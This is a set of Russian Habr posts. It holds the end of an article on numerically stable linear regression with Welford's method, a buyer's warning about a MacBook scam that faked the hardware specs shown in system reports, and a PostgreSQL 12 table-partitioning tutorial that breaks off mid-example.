Данные в задачах "портятся" [простым способом](https://github.com/ashagraev/linear_regression/blob/master/src/lib/pool.cpp#L130): значения признаков и ответов умножаются на некоторое число, после чего к ним прибавляется некоторое другое число. Таким образом мы можем получить проблемный с точки зрения вычислений случай: большие средние значения по сравнению с величинами разбросов.
В режиме `research-bslr` выборка изменяется несколько раз подряд, и каждый раз на ней запускается процедура [скользящего контроля](http://www.machinelearning.ru/wiki/index.php?title=CV#.D0.9A.D0.BE.D0.BD.D1.82.D1.80.D0.BE.D0.BB.D1.8C_.D0.BF.D0.BE_q_.D0.B1.D0.BB.D0.BE.D0.BA.D0.B0.D0.BC_.28q-fold_CV.29). Результатом проверки является среднее значение коэффициента детерминации для тестовых выборок.
Например, для выборки kin8nm результаты работы получаются следующими:
```
injure factor: 1
injure offset: 1
fast_bslr time: 0.001322 R^2: 0.27359
kahan_bslr time: 0.002999 R^2: 0.27359
welford_bslr time: 0.00432 R^2: 0.27359
normalized_welford_bslr time: 0.004288 R^2: 0.27359
injure factor: 0.1
injure offset: 10
fast_bslr time: 0.001256 R^2: 0.27359
kahan_bslr time: 0.002948 R^2: 0.27359
welford_bslr time: 0.004303 R^2: 0.27359
normalized_welford_bslr time: 0.004275 R^2: 0.27359
injure factor: 0.01
injure offset: 100
fast_bslr time: 0.001283 R^2: 0.27359
kahan_bslr time: 0.003015 R^2: 0.27359
welford_bslr time: 0.004304 R^2: 0.27359
normalized_welford_bslr time: 0.004285 R^2: 0.27359
injure factor: 0.001
injure offset: 1000
fast_bslr time: 0.001262 R^2: 0.27324
kahan_bslr time: 0.002977 R^2: 0.27359
welford_bslr time: 0.004329 R^2: 0.27359
normalized_welford_bslr time: 0.00428 R^2: 0.27359
injure factor: 0.0001
injure offset: 10000
fast_bslr time: 0.00128 R^2: -59.271
kahan_bslr time: 0.003009 R^2: -0.0005269
welford_bslr time: 0.004304 R^2: 0.27359
normalized_welford_bslr time: 0.00428 R^2: 0.27359
full learning time:
fast_bslr 0.006403s
kahan_bslr 0.014948s
welford_bslr 0.02156s
normalized_welford_bslr 0.021408s
```
В данном случае уменьшение всех значений в выборке в 10 тысяч раз вместе с одновременным добавлением к ним величины в 10000 приводит к неработоспособности стандартного алгоритма, даже при использовании суммирования по методу Кэхэна. Аналогичные результаты получаются и на других выборках, в том числе и тех из них, что встречаются в реальной жизни в продакшене.
### Заключение
Итак, сегодня мы поговорили о задаче одномерной линейной регрессии, разобрались с тем, как получаются аналитические решения в этой задаче и как использовать метод Уэлфорда для нахождения решений.
Метод Уэлфорда делает решение задачи существенно более устойчивым к возможным проблемам в данных. Однако, этот метод оказывается в 2-4 раза медленнее стандартного алгоритма, поэтому на практике нужно решить для себя, что в данный момент важнее — не зависеть от возможных проблем в данных или работать максимально быстро.
Если же есть необходимость много раз строить модели на различных данных и нет возможности контролировать качество каждой полученной модели, я бы рекомендовал использовать метод Уэлфорда.
В следующей статье мы поговорим о применении метода Уэлфорда для решения задачи многомерной линейной регрессии.
### Литература
1. habrahabr.ru: [Точное вычисление средних и ковариаций методом Уэлфорда](https://habrahabr.ru/post/333426/)
2. github.com: [Linear regression problem solvers with different computation methods](https://github.com/ashagraev/linear_regression)
3. github.com: [The collection of ARFF datasets of the Connectionist Artificial Intelligence Laboratory (LIAC)](https://github.com/renatopp/arff-datasets)
4. machinelearning.ru: [Одномерная линейная регрессия](http://www.machinelearning.ru/wiki/index.php?title=Simple_linear_regression) | https://habr.com/ru/post/335522/ | null | ru | null |
# Осторожно при покупке MacBook. Высокотехнологический способ мошенничества в оффлайне
Доброго всем времени суток дорогие друзья. Давно я не писал на хабре и очень жаль что моя новая публикация касается мошенников. И не просто мошенников, про которых я где-то прочитал, а про мошенников, которые меня лично обманули.
Цель этой статьи — обнародовать достаточно хитрый и не тривиальный вид мошенничества, на который я натолкнулся буквально на прошлой неделе. Дело сейчас находится в следственном отделе, поэтому любителей детективов я сразу разочарую: деталей следствия и деталей дела сейчас я разглашать не буду. Только после того, как дело будет закрыто.
Вторая цель — это найти таких же обманутых как я, чтоб получить компенсацию и пришить к делу еще одно/два/три заявления.
Как вы догадались — преступники найдены (забегая вперед, скажу, что это произошло естественно без помощи полиции). О том, чего стоит опасаться при покупке нового или б/у макбука, а также о том, как были найдены и пойманы преступники читайте под катом.
#### Предыстория
Начну с лирики. Год назад я купил себе Apple Thunderbolt Display и обнаружил, что мой MacBook Pro не работает с ним, так как у него Mini Display Port. Хоть и разъем абсолютно идентичный, но связка DP->TB не работает, а наоборот, TB->DP, отлично работает. Вообще в этот момент не только я так обманулся, была достаточно серьезная путаница с этой совместимостью и даже консультанты Сиднейского Apple Store утверждали что к DisplayPort разъему можно подключить новый Apple Display. Но это абсолютная неправда, совместимость только в обратную сторону. Я был раздосадован этим фактом и поменялся с женой ( у нее был Macbook Air 13 2011) ноутбуками.
Тогда я просто был поражен производительностью и удобством работы на Air: разрешение экрана как на 15 прошке, Xcode работал быстро, нехватки памяти не ощущалось вообще даже на 4 ГБ оперативки и даже нормально работалось в Windows 7, запущенным в parallels. Тогда я откинул мысль о покупке нового макбука и решил подождать что-нибудь новенькое, я надеялся на 15 дюймовый эйр.
Прошел год и Apple выпустила Macbook Pro 15 Retina, и я понял, что нужно брать.
#### Завязка
Естественно, в начале продаж я его не купил, так как именно в этот период времени не было поездок в страны, где его можно было бы купить, а переплачивать стартовые накрутки желания совсем не было.
Все еще усугублялось тем, что мне нужно много оперативной памяти (все таки 4ГБ на Air впоследствии стало не хватать). Поэтому стандартную 975 или 976 модель я не хотел, ведь память стала впаянной и апгрейдить ее уже невозможно (нормальными человеческими средствами без пайки).
Так случилось, что с 16 ГБ у нас продается только самая топовая модель, иногда проскакивали промежуточные модели с таким объемом оперативной памяти, но они быстро раскупались.
Поэтому я не спешил особо, планируя купить этот аппарат во время зимней поездки в Европу.
#### Начало
Но тут я наткнулся на одно объявление на сайте Avito.ru, когда искал iPhone 5 (кликабельно):
[](http://habrastorage.org/storage2/30a/7e0/b3b/30a7e0b3ba578d090596210d07df0e52.png)
Я очень позитивно отношусь к б/у технике, так как это хороший способ сэкономить (хоть и рискованный). В любом случае онлайн можно проверить срок окончания гарантии и если что-то с ним будет не так — можно снести его в сервисный центр по гарантии.
А Retina Macbook не совсем однозначное устройство (не так много приложений еще адаптировано), поэтому вполне вероятно, что кто-то купил, попробовал и не понравилось. Ну и большой плюс — американская раскладка и отсутствие гравировки.
Оно мне очень понравилось и я позвонил продавцу.
#### Покупка
Встретились в крупном торговом центре, ребята пришли вдвоем. Сразу мне их поведение показалось странным, но положа руку на сердце, можно сказать, что у половины жителей столицы поведение очень странное.
Я открыл ноут, он оказался в хорошем состоянии. Запустил приложение «About this Mac», запустил в консоле команду «system\_profiler». Это те инструменты, которых я был уверен и доверял им. Все мне говорило о том, что это топовая кастомная конфигурация: 2.7/16/768.
Ничего примечательного, все прошло нормально.
#### Как я обнаружил подвох
Дома я начал восстанавливать систему из своей машины времени и при начальном этапе установки мне макбук сказал, что в моем распоряжении диск объемом 256 Гиг. Вот тут я крепко задумался. Я запустил Apple Hardware test (при старте системы нужно держать нажатой клавишу «D») и обнаружил вот что:
Как вы видите это оказалась просто самая младшая модель.
#### Суть обмана
Мне очень стало интересно, как же так получилось. Через пол часа я полностью разобрался в том, как сделать такого вида преображение. Причем до этого я был полностью уверен в вышеуказанных утилитах («About this Mac» и «system\_profiler»), за что и поплатился.
Что мы имеем: покупал я топовый 15-ти дюймовый макбук, цена нового в рознице 120-130 тысяч рублей. Получил я самую младшую модель, цена в рознице на новый экземпляр составляет 60 тысяч рублей. Итого я свой ущерб оцениваю в 50 тысяч рублей: рыночная цена б/у такой модели около 50 т.р., я ее купил за 100 т.р.
В остальном ноутбук оказался очень даже в хорошем состоянии, активирован был 27 сентября и находится на официальной гарантии.
А теперь картинки того как выглядит обман:
Наклейки на коробке тоже были подделаны, отличить от оригинала очень сложно. Серийник совпадает:
А вот на этом скриншоте видно, что в детальной информации отсутсвует информация о процессоре, памяти и дисках. Я на это не обратил внимание — это моя ошибка номер 1.
Вторая моя фатальна ошибка была, что я не посмотрел внимательно на начало вывода команды «system\_profiler». Эта утилитка и так дает достаточно много текста на выходе, но я не обратил внимание на две важные строчки, которые затерялись среди общего количества информации:
```
system_profiler
2012-11-09 12:02:58.557 system_profiler[289:707] Error loading /System/Library/SystemProfiler/SPMemoryReporter.spreporter: Error Domain=NSCocoaErrorDomain Code=4 "The bundle “SPMemoryReporter” couldn’t be loaded because its executable couldn’t be located." UserInfo=0x7f943b2165e0 {NSLocalizedFailureReason=The bundle’s executable couldn’t be located., NSLocalizedRecoverySuggestion=Try reinstalling the bundle., NSBundlePath=/System/Library/SystemProfiler/SPMemoryReporter.spreporter, NSLocalizedDescription=The bundle “SPMemoryReporter” couldn’t be loaded because its executable couldn’t be located.}
2012-11-09 12:02:58.579 system_profiler[289:707] Error loading /System/Library/SystemProfiler/SPPlatformReporter.spreporter: Error Domain=NSCocoaErrorDomain Code=4 "The bundle “SPPlatformReporter” couldn’t be loaded because its executable couldn’t be located." UserInfo=0x7f943b011c20 {NSLocalizedFailureReason=The bundle’s executable couldn’t be located., NSLocalizedRecoverySuggestion=Try reinstalling the bundle., NSBundlePath=/System/Library/SystemProfiler/SPPlatformReporter.spreporter, NSLocalizedDescription=The bundle “SPPlatformReporter” couldn’t be loaded because its executable couldn’t be located.}
```
Ну и третья фатальная ошибка — это то, что я не запустил Apple Hardware Test.
Конечно я осознаю, что я в большей степени виноват в том, что меня обманули. Но я бы с этим спокойно смирился, если бы ребята не поставили это на поток. Такое их поведение мне не понравилось и я решил действовать.
#### Будьте бдительны
Два главных правила, которые вас уберегут от подобных мошенничеств:
**1. Всегда запускайте Apple Hardware Test.** Это сделать очень легко: при загрузке ноута, как только появился белый экран, нажмите букву «D». И прогоните систему на легком тесте и загляните в профиль системы. Если у вас есть пол часа времени — можете прогнать систему и на полном тесте. Но обязательно подключите устройство к электропитанию, так как будет вылезать ошибка с невнятным описанием:
```
4SNS/1/40000001:ID0R-0.000.
```
**2. Проверяйте ноут по серийнику [в базе Apple](https://selfsolve.apple.com/agreementWarrantyDynamic.do), так вы поймете что он не восстановленный и когда он был активирован.**
#### Вместо заключения
**Всех, кто пострадал от такого мошенничества я очень прошу связаться со мной (написать в личную почту на хабре). Так как преступники уже пойманы, то вы получите компенсацию (если ваше описание преступника совпадет с реальностью и его показаниями).** Одно из условий «разойтись по доброму» с моей стороны было то, чтоб он компенсировал убытки всем пострадавшим. И если объявиться кто-нибудь, кого он не вспомнил умышленно или нечаяно, тогда я это дело буду доводить до суда.
Поэтому, если вы или ваши знакомые пострадали от такого мошенничества, то напишите мне пожалуйста в хабрапочту или на гугловскую[почту](mailto://iboughtstealedretina@gmail.com).
Если вы покупали топовый макбук с рук, даже в пленке, проверьте его на всякий случай. Известны случаи, что заводская упаковка подделывается. Вас могли обмануть, просто вы этого еще не заметили.
#### Продолжение будет...
К сожалению я не могу рассказать как «здорово работает наша полиция» и как мне удалось поймать этих ребят. Но я это опишу позже, как только закроем дело. Это было увлекательно и интересно.
Будьте бдительны и не обманываейте, это не хорошо и счастья не принесет вам в любом случае. | https://habr.com/ru/post/157969/ | null | ru | null |
# Не очень большие данные
В статье будут рассмотрены возможности, предоставляемые встроенным или декларативным секционированием в 12 версии PostgreSQL. Демонстрация подготовлена для одноименного [доклада](https://www.highload.ru/siberia/2019/abstracts/5361) на конференции HighLoad++Siberia 2019 (upd: появилось [видео](https://youtu.be/l0Wy_FDkXAY) с докладом).
Все примеры выполнены на недавно появившейся бета-версии:
```
=> SELECT version();
```
```
version
------------------------------------------------------------------------------------------------------------------
PostgreSQL 12beta1 on i686-pc-linux-gnu, compiled by gcc (Ubuntu 5.4.0-6ubuntu1~16.04.10) 5.4.0 20160609, 32-bit
(1 row)
```
В примерах используются таблицы bookings и tickets демонстрационной базы данных. Таблица бронирований содержит записи за три месяца с июня по август 2017 года и имеет следующую структуру:
```
=> \d bookings
```
```
Table "bookings.bookings"
Column | Type | Collation | Nullable | Default
--------------+--------------------------+-----------+----------+---------
book_ref | character(6) | | not null |
book_date | timestamp with time zone | | not null |
total_amount | numeric(10,2) | | not null |
Indexes:
"bookings_pkey" PRIMARY KEY, btree (book_ref)
Referenced by:
TABLE "tickets" CONSTRAINT "tickets_book_ref_fkey" FOREIGN KEY (book_ref) REFERENCES bookings(book_ref)
```
Бронирование может включать несколько билетов. Структура таблицы с билетами:
```
=> \d tickets
```
```
Table "bookings.tickets"
Column | Type | Collation | Nullable | Default
----------------+-----------------------+-----------+----------+---------
ticket_no | character(13) | | not null |
book_ref | character(6) | | not null |
passenger_id | character varying(20) | | not null |
passenger_name | text | | not null |
contact_data | jsonb | | |
Indexes:
"tickets_pkey" PRIMARY KEY, btree (ticket_no)
Foreign-key constraints:
"tickets_book_ref_fkey" FOREIGN KEY (book_ref) REFERENCES bookings(book_ref)
Referenced by:
TABLE "ticket_flights" CONSTRAINT "ticket_flights_ticket_no_fkey" FOREIGN KEY (ticket_no) REFERENCES tickets(ticket_no)
```
Этой информации должно быть достаточно для понимания примеров, в которых мы будем пытаться сделать таблицы секционированными.
→ Подробнее познакомиться с демо-базой можно [здесь](https://postgrespro.ru/education/demodb)
Секционирование по диапазону
----------------------------
В начале попробуем сделать таблицу bookings секционированной по диапазону дат. В таком случае таблица создавалась бы так:
```
=> CREATE TABLE bookings_range (
book_ref character(6),
book_date timestamptz,
total_amount numeric(10,2)
) PARTITION BY RANGE(book_date);
```
Отдельные секции на каждый месяц:
```
=> CREATE TABLE bookings_range_201706 PARTITION OF bookings_range
FOR VALUES FROM ('2017-06-01'::timestamptz) TO ('2017-07-01'::timestamptz);
=> CREATE TABLE bookings_range_201707 PARTITION OF bookings_range
FOR VALUES FROM ('2017-07-01'::timestamptz) TO ('2017-08-01'::timestamptz);
```
Для указания границ секции можно использовать не только константы, но и выражения, например вызов функции. Значение выражения вычисляется в момент создания секции и сохраняется в системном каталоге:
```
=> CREATE TABLE bookings_range_201708 PARTITION OF bookings_range
FOR VALUES FROM (to_timestamp('01.08.2017','DD.MM.YYYY'))
TO (to_timestamp('01.09.2017','DD.MM.YYYY'));
```
Описание таблицы:
```
=> \d+ bookings_range
```
```
Partitioned table "bookings.bookings_range"
Column | Type | Collation | Nullable | Default | Storage | Stats target | Description
--------------+--------------------------+-----------+----------+---------+----------+--------------+-------------
book_ref | character(6) | | | | extended | |
book_date | timestamp with time zone | | | | plain | |
total_amount | numeric(10,2) | | | | main | |
Partition key: RANGE (book_date)
Partitions: bookings_range_201706 FOR VALUES FROM ('2017-06-01 00:00:00+03') TO ('2017-07-01 00:00:00+03'),
bookings_range_201707 FOR VALUES FROM ('2017-07-01 00:00:00+03') TO ('2017-08-01 00:00:00+03'),
bookings_range_201708 FOR VALUES FROM ('2017-08-01 00:00:00+03') TO ('2017-09-01 00:00:00+03')
```
Все, этого достаточно. Не нужен триггер на вставку записей, не нужны ограничения CHECK. Параметр CONSTRAINT\_EXCLUSION также не нужен, его даже можно отключить:
```
=> SET constraint_exclusion = OFF;
```
Заполнение с автоматической раскладкой по секциям:
```
=> INSERT INTO bookings_range SELECT * FROM bookings;
```
```
INSERT 0 262788
```
За декларативным синтаксисом по-прежнему скрываются наследуемые таблицы, поэтому распределение строк по секциям можно посмотреть запросом:
```
=> SELECT tableoid::regclass, count(*) FROM bookings_range GROUP BY tableoid;
```
```
tableoid | count
-----------------------+--------
bookings_range_201706 | 7303
bookings_range_201707 | 167062
bookings_range_201708 | 88423
(3 rows)
```
А в родительской таблице данных нет:
```
=> SELECT * FROM ONLY bookings_range;
```
```
book_ref | book_date | total_amount
----------+-----------+--------------
(0 rows)
```
Проверим исключение секций в плане запроса:
```
=> EXPLAIN (COSTS OFF)
SELECT * FROM bookings_range WHERE book_date = '2017-07-01'::timestamptz;
```
```
QUERY PLAN
----------------------------------------------------------------------------
Seq Scan on bookings_range_201707
Filter: (book_date = '2017-07-01 00:00:00+03'::timestamp with time zone)
(2 rows)
```
Сканирование только одной секции, как и ожидалось.
В следующем примере вместо константы используется функция to\_timestamp с категорией изменчивости STABLE:
```
=> EXPLAIN (COSTS OFF)
SELECT * FROM bookings_range WHERE book_date = to_timestamp('01.07.2017','DD.MM.YYYY');
```
```
QUERY PLAN
------------------------------------------------------------------------------------
Append
Subplans Removed: 2
-> Seq Scan on bookings_range_201707
Filter: (book_date = to_timestamp('01.07.2017'::text, 'DD.MM.YYYY'::text))
(4 rows)
```
Значение функции вычисляется при инициализации плана запроса и часть секций исключается из просмотра (строка Subplans Removed).
Но это работает только для SELECT. При изменении данных исключение секций на основе значений STABLE функций пока не реализовано:
```
=> EXPLAIN (COSTS OFF)
DELETE FROM bookings_range WHERE book_date = to_timestamp('01.07.2017','DD.MM.YYYY');
```
```
QUERY PLAN
------------------------------------------------------------------------------------
Delete on bookings_range
Delete on bookings_range_201706
Delete on bookings_range_201707
Delete on bookings_range_201708
-> Seq Scan on bookings_range_201706
Filter: (book_date = to_timestamp('01.07.2017'::text, 'DD.MM.YYYY'::text))
-> Seq Scan on bookings_range_201707
Filter: (book_date = to_timestamp('01.07.2017'::text, 'DD.MM.YYYY'::text))
-> Seq Scan on bookings_range_201708
Filter: (book_date = to_timestamp('01.07.2017'::text, 'DD.MM.YYYY'::text))
(10 rows)
```
Поэтому следует использовать константы:
```
=> EXPLAIN (COSTS OFF)
DELETE FROM bookings_range WHERE book_date = '2017-07-01'::timestamptz;
```
```
QUERY PLAN
----------------------------------------------------------------------------------
Delete on bookings_range
Delete on bookings_range_201707
-> Seq Scan on bookings_range_201707
Filter: (book_date = '2017-07-01 00:00:00+03'::timestamp with time zone)
(4 rows)
```
Сортировка с помощью индекса
----------------------------
Для выполнения следующего запроса требуется сортировка результатов полученных из разных секций. Поэтому в плане запроса мы видим узел SORT и высокую начальную стоимость плана:
```
=> EXPLAIN SELECT * FROM bookings_range ORDER BY book_date;
```
```
QUERY PLAN
------------------------------------------------------------------------------------------
Sort (cost=24649.77..25077.15 rows=170952 width=52)
Sort Key: bookings_range_201706.book_date
-> Append (cost=0.00..4240.28 rows=170952 width=52)
-> Seq Scan on bookings_range_201706 (cost=0.00..94.94 rows=4794 width=52)
-> Seq Scan on bookings_range_201707 (cost=0.00..2151.30 rows=108630 width=52)
-> Seq Scan on bookings_range_201708 (cost=0.00..1139.28 rows=57528 width=52)
(6 rows)
```
Создадим индекс по book\_date. Вместо одного глобального индекса, создаются индексы в каждой секции:
```
=> CREATE INDEX book_date_idx ON bookings_range(book_date);
```
```
=> \di bookings_range*
```
```
List of relations
Schema | Name | Type | Owner | Table
----------+-------------------------------------+-------+---------+-----------------------
bookings | bookings_range_201706_book_date_idx | index | student | bookings_range_201706
bookings | bookings_range_201707_book_date_idx | index | student | bookings_range_201707
bookings | bookings_range_201708_book_date_idx | index | student | bookings_range_201708
(3 rows)
```
Предыдущий запрос с сортировкой теперь может использовать индекс по ключу секционирования и выдавать результат из разных секций сразу в отсортированном виде. Узел SORT не нужен и для выдачи первой строки результата требуются минимальные затраты:
```
=> EXPLAIN SELECT * FROM bookings_range ORDER BY book_date;
```
```
QUERY PLAN
--------------------------------------------------------------------------------------------------------------------------------
Append (cost=1.12..14880.88 rows=262788 width=52)
-> Index Scan using bookings_range_201706_book_date_idx on bookings_range_201706 (cost=0.28..385.83 rows=7303 width=52)
-> Index Scan using bookings_range_201707_book_date_idx on bookings_range_201707 (cost=0.42..8614.35 rows=167062 width=52)
-> Index Scan using bookings_range_201708_book_date_idx on bookings_range_201708 (cost=0.42..4566.76 rows=88423 width=52)
(4 rows)
```
Созданные таким образом индексы на секциях поддерживаются централизованно. При добавлении новой секции на ней автоматически будет создан индекс. А удалить индекс только одной секции нельзя:
```
=> DROP INDEX bookings_range_201706_book_date_idx;
```
```
ERROR: cannot drop index bookings_range_201706_book_date_idx because index book_date_idx requires it
HINT: You can drop index book_date_idx instead.
```
Только целиком:
```
=> DROP INDEX book_date_idx;
```
```
DROP INDEX
```
CREATE INDEX… CONCURRENTLY
--------------------------
При создании индекса на секционированной таблице нельзя указать CONCURRENTLY.
Но можно поступить следующим образом. Сначала создаем индекс только на основной таблице, он получит статус invalid:
```
=> CREATE INDEX book_date_idx ON ONLY bookings_range(book_date);
```
```
=> SELECT indisvalid FROM pg_index WHERE indexrelid::regclass::text = 'book_date_idx';
```
```
indisvalid
------------
f
(1 row)
```
Затем создаем индексы на всех секциях с опцией CONCURRENTLY:
```
=> CREATE INDEX CONCURRENTLY book_date_201706_idx ON bookings_range_201706 (book_date);
=> CREATE INDEX CONCURRENTLY book_date_201707_idx ON bookings_range_201707 (book_date);
=> CREATE INDEX CONCURRENTLY book_date_201708_idx ON bookings_range_201708 (book_date);
```
Теперь подключаем локальные индексы к глобальному:
```
=> ALTER INDEX book_date_idx ATTACH PARTITION book_date_201706_idx;
=> ALTER INDEX book_date_idx ATTACH PARTITION book_date_201707_idx;
=> ALTER INDEX book_date_idx ATTACH PARTITION book_date_201708_idx;
```
Это похоже на подключение таблиц-секций, на которое мы посмотрим чуть позже. Как только все индексные секции будут подключены, основной индекс изменит свой статус:
```
=> SELECT indisvalid FROM pg_index WHERE indexrelid::regclass::text = 'book_date_idx';
```
```
indisvalid
------------
t
(1 row)
```
Подключение и отключение секций
-------------------------------
Автоматическое создание секций не предусмотрено. Поэтому их нужно создавать заранее, до того как в таблицу начнут добавляться записи с новыми значениями ключа секционирования.
Будем создавать новую секцию во время работы других транзакций с таблицей, заодно посмотрим на блокировки:
```
=> BEGIN;
=> SELECT count(*) FROM bookings_range
WHERE book_date = to_timestamp('01.07.2017','DD.MM.YYYY');
```
```
count
-------
5
(1 row)
```
```
=> SELECT relation::regclass::text, mode FROM pg_locks
WHERE pid = pg_backend_pid() AND relation::regclass::text LIKE 'bookings%';
```
```
relation | mode
-----------------------+-----------------
bookings_range_201708 | AccessShareLock
bookings_range_201707 | AccessShareLock
bookings_range_201706 | AccessShareLock
bookings_range | AccessShareLock
(4 rows)
```
Блокировка AccessShareLock накладывается на основную таблицу, все секции и индексы в начале выполнения оператора. Вычисление функции to\_timestamp и исключение секций происходит позже. Если бы вместо функции использовалась константа, то блокировалась бы только основная таблица и секция bookings\_range\_201707. Поэтому при возможности указывать в запросе константы — это следует делать, иначе количество строк в pg\_locks будет увеличиваться пропорционально количеству секций, что может привести к необходимости увеличения max\_locks\_per\_transaction.
Не завершая предыдущую транзакцию, создадим следующую секцию для сентября в новом сеансе:
```
|| => CREATE TABLE bookings_range_201709 (LIKE bookings_range);
|| => BEGIN;
|| => ALTER TABLE bookings_range ATTACH PARTITION bookings_range_201709
FOR VALUES FROM ('2017-09-01'::timestamptz) TO ('2017-10-01'::timestamptz);
|| => SELECT relation::regclass::text, mode FROM pg_locks
WHERE pid = pg_backend_pid() AND relation::regclass::text LIKE 'bookings%';
```
```
relation | mode
-------------------------------------+--------------------------
bookings_range_201709_book_date_idx | AccessExclusiveLock
bookings_range | ShareUpdateExclusiveLock
bookings_range_201709 | ShareLock
bookings_range_201709 | AccessExclusiveLock
(4 rows)
```
При создании новой секции на основную таблицу накладывается блокировка ShareUpdateExclusiveLock, совместимая с AccessShareLock. Поэтому операции добавления секций не конфликтуют с запросами к секционированной таблице.
```
=> COMMIT;
```
```
|| => COMMIT;
```
Отключение секций выполняется командой ALTER TABLE… DETACH PARTITION. Сама секция не удаляется, а становится самостоятельной таблицей. Из неё можно выгрузить данные, её можно удалить, а при необходимости подключить заново(ATTACH PARTITION).
Другой вариант отключения — удалить секцию командой DROP TABLE.
К сожалению оба варианта, DROP TABLE и DETACH PARTITION, используют блокировку AccessExclusiveLock на основную таблицу.
Секция по умолчанию
-------------------
При попытке добавить запись, для которой секция еще не создана, произойдет ошибка. Если такое поведение нежелательно, можно создать секцию по умолчанию:
```
=> CREATE TABLE bookings_range_default PARTITION OF bookings_range DEFAULT;
```
Предположим, что при добавлении записи перепутали дату, не указав тысячелетие:
```
=> INSERT INTO bookings_range VALUES('XX0000', '0017-09-01'::timestamptz, 0)
RETURNING tableoid::regclass, *;
```
```
tableoid | book_ref | book_date | total_amount
------------------------+----------+------------------------------+--------------
bookings_range_default | XX0000 | 0017-09-01 00:00:00+02:30:17 | 0.00
(1 row)
INSERT 0 1
```
Отмечаем, что фраза RETURNING возвращает новую строку, которая попадает в секцию по умолчанию.
После установки актуальной даты(изменения ключа секционирования), запись автоматически перемещается в нужную секцию, триггеры не нужны:
```
=> UPDATE bookings_range SET book_date = '2017-09-01'::timestamptz WHERE book_ref = 'XX0000'
RETURNING tableoid::regclass, *;
```
```
tableoid | book_ref | book_date | total_amount
-----------------------+----------+------------------------+--------------
bookings_range_201709 | XX0000 | 2017-09-01 00:00:00+03 | 0.00
(1 row)
UPDATE 1
```
Секционирование по списку значений
----------------------------------
В демо-базе первичным ключом таблицы bookings должен быть столбец book\_ref. Однако выбранная схема секционирования не позволяет создать такой ключ:
```
=> ALTER TABLE bookings_range ADD PRIMARY KEY(book_ref);
```
```
ERROR: insufficient columns in PRIMARY KEY constraint definition
DETAIL: PRIMARY KEY constraint on table "bookings_range" lacks column "book_date" which is part of the partition key.
```
Ключ секционирования обязательно должен входить в первичный ключ.
Чтобы разбить по месяцам и всё-таки включить book\_ref в первичный ключ, попробуем другую схему секционирования таблицы bookings — по списку значений. Для этого добавим избыточный столбец book\_month в качестве ключа секционирования:
```
=> CREATE TABLE bookings_list (
book_ref character(6),
book_month character(6),
book_date timestamptz NOT NULL,
total_amount numeric(10,2),
PRIMARY KEY (book_ref, book_month)
) PARTITION BY LIST(book_month);
```
Секции сформируем динамически на основании данных таблицы bookings:
```
=> WITH dates AS (
SELECT date_trunc('month',min(book_date)) min_date,
date_trunc('month',max(book_date)) max_date
FROM bookings
), partition AS (
SELECT to_char(g.month, 'YYYYMM') AS book_month
FROM dates,
generate_series(dates.min_date, dates.max_date, '1 month'::interval) AS g(month)
)
SELECT format('CREATE TABLE %I PARTITION OF bookings_list FOR VALUES IN (%L)',
'bookings_list_' || partition.book_month, partition.book_month)
FROM partition\gexec
```
```
CREATE TABLE
CREATE TABLE
CREATE TABLE
```
Вот что получилось:
```
=> \d+ bookings_list
```
```
Partitioned table "bookings.bookings_list"
Column | Type | Collation | Nullable | Default | Storage | Stats target | Description
--------------+--------------------------+-----------+----------+---------+----------+--------------+-------------
book_ref | character(6) | | not null | | extended | |
book_month | character(6) | | not null | | extended | |
book_date | timestamp with time zone | | not null | | plain | |
total_amount | numeric(10,2) | | | | main | |
Partition key: LIST (book_month)
Indexes:
"bookings_list_pkey" PRIMARY KEY, btree (book_ref, book_month)
Partitions: bookings_list_201706 FOR VALUES IN ('201706'),
bookings_list_201707 FOR VALUES IN ('201707'),
bookings_list_201708 FOR VALUES IN ('201708')
```
Заполнение с раскладкой по секциям:
```
=> INSERT INTO bookings_list(book_ref,book_month,book_date,total_amount)
SELECT book_ref,to_char(book_date, 'YYYYMM'),book_date,total_amount
FROM bookings;
```
```
INSERT 0 262788
```
В качестве отступления. Для автоматического заполнения book\_month заманчиво использовать новую функциональность 12 версии — GENERATED ALWAYS столбцы. Но, к сожалению, они не могут использоваться в качестве ключа секционирования. Поэтому задачу заполнения месяца следует решать другими способами.
Такие ограничения целостности как CHECK и NOT NULL можно создавать на секционированной таблице. Как и при наследовании, указание INHERIT/NOINHERIT говорит о том, нужно ли наследовать ограничение на всех таблицах-секциях. По умолчанию INHERIT:
```
=> ALTER TABLE bookings_range ALTER COLUMN book_date SET NOT NULL;
```
```
=> \d bookings_range
```
```
Partitioned table "bookings.bookings_range"
Column | Type | Collation | Nullable | Default
--------------+--------------------------+-----------+----------+---------
book_ref | character(6) | | |
book_date | timestamp with time zone | | not null |
total_amount | numeric(10,2) | | |
Partition key: RANGE (book_date)
Indexes:
"book_date_idx" btree (book_date)
Number of partitions: 5 (Use \d+ to list them.)
```
```
=> \d bookings_range_201706
```
```
Table "bookings.bookings_range_201706"
Column | Type | Collation | Nullable | Default
--------------+--------------------------+-----------+----------+---------
book_ref | character(6) | | |
book_date | timestamp with time zone | | not null |
total_amount | numeric(10,2) | | |
Partition of: bookings_range FOR VALUES FROM ('2017-06-01 00:00:00+03') TO ('2017-07-01 00:00:00+03')
Indexes:
"book_date_201706_idx" btree (book_date)
```
Ограничение EXCLUDE можно создавать только локально на секциях.
Поиск по book\_ref будет смотреть во все секции, но по индексу, благодара тому, что book\_ref указан первым:
```
=> EXPLAIN (COSTS OFF)
SELECT * FROM bookings_list WHERE book_ref = '00000F';
```
```
QUERY PLAN
--------------------------------------------------------------------------
Append
-> Index Scan using bookings_list_201706_pkey on bookings_list_201706
Index Cond: (book_ref = '00000F'::bpchar)
-> Index Scan using bookings_list_201707_pkey on bookings_list_201707
Index Cond: (book_ref = '00000F'::bpchar)
-> Index Scan using bookings_list_201708_pkey on bookings_list_201708
Index Cond: (book_ref = '00000F'::bpchar)
(7 rows)
```
Поиск по book\_ref и диапазону секций должен смотреть только в указанный диапазон:
```
=> EXPLAIN (COSTS OFF)
SELECT * FROM bookings_list WHERE book_ref = '00000F' AND book_month = '201707';
```
```
QUERY PLAN
-----------------------------------------------------------------------------------
Index Scan using bookings_list_201707_pkey on bookings_list_201707
Index Cond: ((book_ref = '00000F'::bpchar) AND (book_month = '201707'::bpchar))
(2 rows)
```
Команда INSERT… ON CONFLICT корректно находит нужную секцию и выполняет обновление:
```
=> INSERT INTO bookings_list VALUES ('XX0001','201708','2017-08-01',0)
RETURNING tableoid::regclass, *;
```
```
tableoid | book_ref | book_month | book_date | total_amount
----------------------+----------+------------+------------------------+--------------
bookings_list_201708 | XX0001 | 201708 | 2017-08-01 00:00:00+03 | 0.00
(1 row)
INSERT 0 1
```
```
